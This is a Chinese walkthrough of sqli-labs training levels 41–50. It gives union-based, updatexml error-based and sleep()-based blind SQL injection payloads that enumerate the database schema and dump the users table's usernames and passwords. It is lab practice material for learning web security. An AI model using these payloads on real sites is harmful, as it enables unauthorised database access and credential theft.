sqli-labs靶场通关攻略(41-50)

Less-41

1、判断闭合方式

输入?id=1 --+ 必和成功

2、查看回显点

输入?id=-1 union select 1,2,3 --+

得出回显点为2,3

3、查询数据库名

输入?id=-1 union select 1,2,database() --+

4、查询数据库中的表名

输入?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

5、查询users表中的列

输入?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

6、查询users表中所有字段

输入?id=-1 union select 1,2,group_concat(username,'~',password) from users --+

Less-42

1、使用burp suite进行抓包 并发送至repeater

2、查询数据库名

输入login_user=1'--+&login_password=1'or updatexml(1,concat(1,(select database())),1)--+

3、查询数据库中的表

输入login_user=1'--+&login_password=1'or updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)--+

4、查询users表中的列

输入login_user=1'--+&login_password=1'or updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security'and table_name='users')),1)--+

5、查询users表中所有字段

输入login_user=1'--+&login_password=1'or updatexml(1,concat(1,(select group_concat(username,password)from users)),1)--+

Less-43

1、使用burp suite抓包,并发送至repeater

2、查询数据库名

输入login_user=1')--+&login_password=1') or updatexml(1,concat(1,(select database())),1) --+

2、查询数据库中的表名

输入login_user=1')--+&login_password=1') or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

3、查询users表中的列

输入

login_user=1')--+&login_password=1') or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

4、查询users表中所有字段

输入login_user=1')--+&login_password=1') or updatexml(1,concat(1,(select group_concat(username,password) from users)),1) --+

Less-44

1、查看页面回显点

2、查询数据库名

1' union select 1,database(),3 #

3、查询数据库中的表

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

4、查询users表中的列

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

5、查询users表中所有字段

1' union select 1,group_concat(username,password),3 from users #

Less-45

本题除了闭合方式外与44题一样,本题闭合方式为 ' ) ,其余操作可参考44题

Less-46

1、输入?sort=1 页面闭合成功

2、查询数据库名

输入?sort=1 and updatexml(1,concat(1,(select database())),1)

3、查询数据库中的表名

输入?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

Less-47

1、输入?sort=1' --+ ,页面闭合成功

2、查询数据库名

输入?sort=1' and updatexml(1,concat(1,(select database())),1)--+

3、查询数据库中的表名

输入?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

Less-48

1、输入?sort=1 页面闭合成功

2、查询数据库名

输入?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114

输入?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

对比ascii表得出,第一个字符为's'

在以此类推,得出数据库长度为'security'

3、查询数据库中的表名

输入?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)

页面延迟三秒访问

输入?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)

页面正常响应

可以得出第一个字符为101,在对比ascii表得出,第一个字符为'e'

以此类推,得出第一个表名为'email'

Less-49

1、输入?sort=1' --+ 页面闭合成功

2、查询数据库名

输入?sort=1' and if((ascii(substr(database(),1,1))>114),sleep(3),1)--+

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114

输入?sort=1' and if((ascii(substr(database(),1,1))>115),sleep(3),1)--+

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

对比ascii表的得出数据库的第一个字符为's'

再以此类推,得出数据库全名为'security'

3、查询数据库中的表名

输入?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)--+

页面延迟三秒访问

输入?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+

页面正常回显

说明第一个字符的ascii值为101,对比ASCII表,得出第一个表的第一个字符为'e'

在以此类推,得出第一个表名为'email'

Less-50

1、输入?sort=1

2、查询数据库名

输入?sort=1 and updatexml(1,concat(1,(select database())),1)

3、查询数据库中的表

输入?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

相关推荐
积跬步,慕至千里28 分钟前
clickhouse数据库表和doris数据库表迁移starrocks数据库时建表注意事项总结
数据库·clickhouse
极限实验室1 小时前
搭建持久化的 INFINI Console 与 Easysearch 容器环境
数据库
星辰离彬1 小时前
Java 与 MySQL 性能优化:Java应用中MySQL慢SQL诊断与优化实战
java·后端·sql·mysql·性能优化
白仑色1 小时前
Oracle PL/SQL 编程基础详解(从块结构到游标操作)
数据库·oracle·数据库开发·存储过程·plsql编程
程序猿小D3 小时前
[附源码+数据库+毕业论文]基于Spring+MyBatis+MySQL+Maven+jsp实现的个人财务管理系统,推荐!
java·数据库·mysql·spring·毕业论文·ssm框架·个人财务管理系统
zhuiQiuMX3 小时前
脉脉maimai面试死亡日记
数据仓库·sql·面试
钢铁男儿4 小时前
C# 接口(什么是接口)
java·数据库·c#
__风__4 小时前
PostgreSQL kv(jsonb)存储
数据库·postgresql
轩情吖4 小时前
Qt的第一个程序(2)
服务器·数据库·qt·qt creator·qlineedit·hello world·编辑框
Databend4 小时前
Databend 产品月报(2025年6月)
数据库